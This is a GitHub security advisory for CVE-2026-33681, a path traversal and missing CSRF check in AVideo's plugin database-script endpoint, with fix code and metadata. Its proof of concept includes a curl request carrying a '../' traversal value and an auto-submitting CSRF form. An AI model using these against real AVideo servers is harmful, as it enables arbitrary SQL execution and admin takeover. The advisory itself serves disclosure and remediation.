GHSA-3HWV-X8G3-9QPR
Vulnerability from github – Published: 2026-03-25 19:51 – Updated: 2026-03-25 19:51Summary
The objects/pluginRunDatabaseScript.json.php endpoint accepts a name parameter via POST and passes it to Plugin::getDatabaseFileName() without any path traversal sanitization. This allows an authenticated admin (or an attacker via CSRF) to traverse outside the plugin directory and execute the contents of any install/install.sql file on the filesystem as raw SQL queries against the application database.
Details
The vulnerable data flow:
1. Entry point — objects/pluginRunDatabaseScript.json.php:21:
$fileName = Plugin::getDatabaseFileName($_POST['name']);
2. "Sanitization" — objects/plugin.php:343-354:
public static function getDatabaseFileName($pluginName)
{
global $global;
$pluginName = AVideoPlugin::fixName($pluginName); // line 347 — no-op
$dir = $global['systemRootPath'] . "plugin";
$filename = $dir . DIRECTORY_SEPARATOR . $pluginName . DIRECTORY_SEPARATOR . "install" . DIRECTORY_SEPARATOR . "install.sql";
if (!file_exists($filename)) {
return false;
}
return $filename;
}
3. The "fix" — plugin/AVideoPlugin.php:3184-3190:
public static function fixName($name)
{
if ($name === 'Programs') {
return 'PlayLists';
}
return $name; // Returns input unchanged for all other values
}
4. SQL execution — objects/pluginRunDatabaseScript.json.php:24-36:
$lines = file($fileName);
foreach ($lines as $line) {
// ...
if (!$global['mysqli']->query($templine)) {
$obj->msg = ('Error performing query \'<strong>' . $templine . '\': ' . $global['mysqli']->error);
die($templine.' '.json_encode($obj)); // Leaks file content + SQL error
}
}
The sibling endpoint pluginRunUpdateScript.json.php correctly routes through AVideoPlugin::loadPlugin() which sanitizes the name with preg_replace('/[^0-9a-z_]/i', '', $name) at AVideoPlugin.php:395. The vulnerable endpoint bypasses this sanitization entirely.
Additionally, the endpoint lacks CSRF token validation. The related pluginImport.json.php properly checks isGlobalTokenValid(), but pluginRunDatabaseScript.json.php does not, making it exploitable via cross-site request forgery against an authenticated admin.
PoC
Step 1: Direct exploitation (as admin)
# Traverse to another plugin's install.sql (e.g., from CustomPlugin to LiveLinks)
curl -s -b "PHPSESSID=<admin_session>" \
-d "name=../plugin/LiveLinks" \
"https://target.com/objects/pluginRunDatabaseScript.json.php"
This resolves to: {root}/plugin/../plugin/LiveLinks/install/install.sql and executes its SQL.
Step 2: CSRF exploitation (no direct admin access needed)
Host the following HTML on an attacker-controlled page and trick an admin into visiting it:
<html>
<body>
<form action="https://target.com/objects/pluginRunDatabaseScript.json.php" method="POST" id="csrf">
<input type="hidden" name="name" value="../../attacker-controlled-path" />
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
Step 3: Information disclosure via error messages
If the traversed SQL file contains invalid SQL, lines 32-33 leak the raw file content in the error response:
{"error":true,"msg":"Error performing query '<strong>FILE CONTENT HERE': MySQL error..."}
Impact
- SQL injection via file inclusion: An attacker can execute arbitrary SQL from any
install/install.sqlfile reachable via path traversal, potentially creating admin accounts, modifying data, or extracting sensitive information. - Information disclosure: SQL execution errors leak raw file contents and MySQL error messages in the HTTP response.
- CSRF amplification: The lack of CSRF protection means an external attacker can exploit this vulnerability by tricking an admin into visiting a malicious page, without needing direct admin credentials.
- Chaining potential: If combined with any file-write primitive (e.g., GHSA-v8jw-8w5p-23g3, the plugin ZIP extraction RCE), an attacker can write a malicious
install.sqlfile and then execute it via this endpoint.
Recommended Fix
Apply the same sanitization used by loadPlugin() to strip path traversal characters, and add CSRF token validation:
// In objects/pluginRunDatabaseScript.json.php, after line 14:
// Add CSRF protection
if (!isGlobalTokenValid()) {
die('{"error":"' . __("Invalid token") . '"}');
}
// Sanitize plugin name before use (line 21)
$pluginName = trim(preg_replace('/[^0-9a-z_]/i', '', $_POST['name']));
$fileName = Plugin::getDatabaseFileName($pluginName);
Alternatively, fix AVideoPlugin::fixName() to apply proper sanitization for all callers:
public static function fixName($name)
{
if ($name === 'Programs') {
$name = 'PlayLists';
}
return trim(preg_replace('/[^0-9a-z_]/i', '', $name));
}
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33681"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T19:51:46Z",
"nvd_published_at": "2026-03-23T19:16:41Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe `objects/pluginRunDatabaseScript.json.php` endpoint accepts a `name` parameter via POST and passes it to `Plugin::getDatabaseFileName()` without any path traversal sanitization. This allows an authenticated admin (or an attacker via CSRF) to traverse outside the plugin directory and execute the contents of any `install/install.sql` file on the filesystem as raw SQL queries against the application database.\n\n## Details\n\nThe vulnerable data flow:\n\n**1. Entry point** \u2014 `objects/pluginRunDatabaseScript.json.php:21`:\n```php\n$fileName = Plugin::getDatabaseFileName($_POST[\u0027name\u0027]);\n```\n\n**2. \"Sanitization\"** \u2014 `objects/plugin.php:343-354`:\n```php\npublic static function getDatabaseFileName($pluginName)\n{\n global $global;\n $pluginName = AVideoPlugin::fixName($pluginName); // line 347 \u2014 no-op\n $dir = $global[\u0027systemRootPath\u0027] . \"plugin\";\n $filename = $dir . DIRECTORY_SEPARATOR . $pluginName . DIRECTORY_SEPARATOR . \"install\" . DIRECTORY_SEPARATOR . \"install.sql\";\n if (!file_exists($filename)) {\n return false;\n }\n return $filename;\n}\n```\n\n**3. The \"fix\"** \u2014 `plugin/AVideoPlugin.php:3184-3190`:\n```php\npublic static function fixName($name)\n{\n if ($name === \u0027Programs\u0027) {\n return \u0027PlayLists\u0027;\n }\n return $name; // Returns input unchanged for all other values\n}\n```\n\n**4. SQL execution** \u2014 `objects/pluginRunDatabaseScript.json.php:24-36`:\n```php\n$lines = file($fileName);\nforeach ($lines as $line) {\n // ...\n if (!$global[\u0027mysqli\u0027]-\u003equery($templine)) {\n $obj-\u003emsg = (\u0027Error performing query \\\u0027\u003cstrong\u003e\u0027 . $templine . \u0027\\\u0027: \u0027 . $global[\u0027mysqli\u0027]-\u003eerror);\n die($templine.\u0027 \u0027.json_encode($obj)); // Leaks file content + SQL error\n }\n}\n```\n\nThe sibling endpoint `pluginRunUpdateScript.json.php` correctly routes through `AVideoPlugin::loadPlugin()` which sanitizes the name with `preg_replace(\u0027/[^0-9a-z_]/i\u0027, \u0027\u0027, $name)` at `AVideoPlugin.php:395`. The vulnerable endpoint bypasses this sanitization entirely.\n\nAdditionally, the endpoint lacks CSRF token validation. The related `pluginImport.json.php` properly checks `isGlobalTokenValid()`, but `pluginRunDatabaseScript.json.php` does not, making it exploitable via cross-site request forgery against an authenticated admin.\n\n## PoC\n\n**Step 1: Direct exploitation (as admin)**\n\n```bash\n# Traverse to another plugin\u0027s install.sql (e.g., from CustomPlugin to LiveLinks)\ncurl -s -b \"PHPSESSID=\u003cadmin_session\u003e\" \\\n -d \"name=../plugin/LiveLinks\" \\\n \"https://target.com/objects/pluginRunDatabaseScript.json.php\"\n```\n\nThis resolves to: `{root}/plugin/../plugin/LiveLinks/install/install.sql` and executes its SQL.\n\n**Step 2: CSRF exploitation (no direct admin access needed)**\n\nHost the following HTML on an attacker-controlled page and trick an admin into visiting it:\n\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform action=\"https://target.com/objects/pluginRunDatabaseScript.json.php\" method=\"POST\" id=\"csrf\"\u003e\n \u003cinput type=\"hidden\" name=\"name\" value=\"../../attacker-controlled-path\" /\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById(\u0027csrf\u0027).submit();\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**Step 3: Information disclosure via error messages**\n\nIf the traversed SQL file contains invalid SQL, lines 32-33 leak the raw file content in the error response:\n```json\n{\"error\":true,\"msg\":\"Error performing query \u0027\u003cstrong\u003eFILE CONTENT HERE\u0027: MySQL error...\"}\n```\n\n## Impact\n\n- **SQL injection via file inclusion**: An attacker can execute arbitrary SQL from any `install/install.sql` file reachable via path traversal, potentially creating admin accounts, modifying data, or extracting sensitive information.\n- **Information disclosure**: SQL execution errors leak raw file contents and MySQL error messages in the HTTP response.\n- **CSRF amplification**: The lack of CSRF protection means an external attacker can exploit this vulnerability by tricking an admin into visiting a malicious page, without needing direct admin credentials.\n- **Chaining potential**: If combined with any file-write primitive (e.g., GHSA-v8jw-8w5p-23g3, the plugin ZIP extraction RCE), an attacker can write a malicious `install.sql` file and then execute it via this endpoint.\n\n## Recommended Fix\n\nApply the same sanitization used by `loadPlugin()` to strip path traversal characters, and add CSRF token validation:\n\n```php\n// In objects/pluginRunDatabaseScript.json.php, after line 14:\n\n// Add CSRF protection\nif (!isGlobalTokenValid()) {\n die(\u0027{\"error\":\"\u0027 . __(\"Invalid token\") . \u0027\"}\u0027);\n}\n\n// Sanitize plugin name before use (line 21)\n$pluginName = trim(preg_replace(\u0027/[^0-9a-z_]/i\u0027, \u0027\u0027, $_POST[\u0027name\u0027]));\n$fileName = Plugin::getDatabaseFileName($pluginName);\n```\n\nAlternatively, fix `AVideoPlugin::fixName()` to apply proper sanitization for all callers:\n\n```php\npublic static function fixName($name)\n{\n if ($name === \u0027Programs\u0027) {\n $name = \u0027PlayLists\u0027;\n }\n return trim(preg_replace(\u0027/[^0-9a-z_]/i\u0027, \u0027\u0027, $name));\n}\n```",
"id": "GHSA-3hwv-x8g3-9qpr",
"modified": "2026-03-25T19:51:46Z",
"published": "2026-03-25T19:51:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-3hwv-x8g3-9qpr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33681"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/81b591c509835505cb9f298aa1162ac64c4152cb"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-v8jw-8w5p-23g3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "AVideo has Path Traversal in pluginRunDatabaseScript.json.php Enables Arbitrary SQL File Execution via Unsanitized Plugin Name"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.